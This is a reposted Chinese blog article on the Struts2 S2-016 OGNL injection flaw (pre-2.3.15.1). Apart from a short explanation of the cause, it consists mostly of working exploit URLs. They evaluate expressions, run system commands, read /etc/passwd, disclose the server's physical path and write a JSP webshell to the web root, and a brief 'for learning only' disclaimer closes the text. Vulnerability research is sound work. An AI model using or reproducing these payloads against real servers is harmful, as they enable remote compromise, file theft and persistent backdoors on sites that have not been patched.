Struts2最新2013漏洞S-016远程命令执行
Posted LemonSec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Struts2最新2013漏洞S-016远程命令执行相关的知识,希望对你有一定的参考价值。
Struts2最新2013漏洞S-016远程命令执行
漏洞原因是action的值redirect和redirectAction没有正确过滤,导致可以执行任意代码,如系统命令、上传、下载文件等。
Struts2的DefaultActionMapper支持一种方法,可以使用”action:”, “redirect:” , “redirectAction:”对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对”action:”, “redirect:” , “redirectAction:”等进行处理,导致ongl表达式可以被执行。
官方公布的漏洞利用poc细节如下:
1),简单表达式,ongl表达式被求值
http://www.nxadmin.com/struts2/x.action?%25(3*4)
http://www.nxadmin.com/struts2/save.action?redirect:%25(3*4)
2),命令执行
1,http://www.nxadmin.com/struts2/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
2,http://www.nxadmin.com/struts2/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
3,http://www.nxadmin.com/struts2/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
命令执行:
http://www.nxadmin.com/struts2/login.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat’,'/etc/passwd’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
爆网站的物理路径:
http://www.nxadmin.com/struts2/login.action?redirect:${%23a%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23b%3d%23a.getRealPath(“/”),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()}
getshell,写入jsp一句话:
http://www.nxadmin.com/struts2/login.action?redirect:${%23req%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll(“\\\\”,”/”),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
以上利用方法转载自互联网,仅供学习了解struts2,不要用作非法,后果自负!
查看更多文章,关注下方二维码
以上是关于Struts2最新2013漏洞S-016远程命令执行的主要内容,如果未能解决你的问题,请参考以下文章
最新漏洞预警 | Struts2(S2-053) 远程代码执行!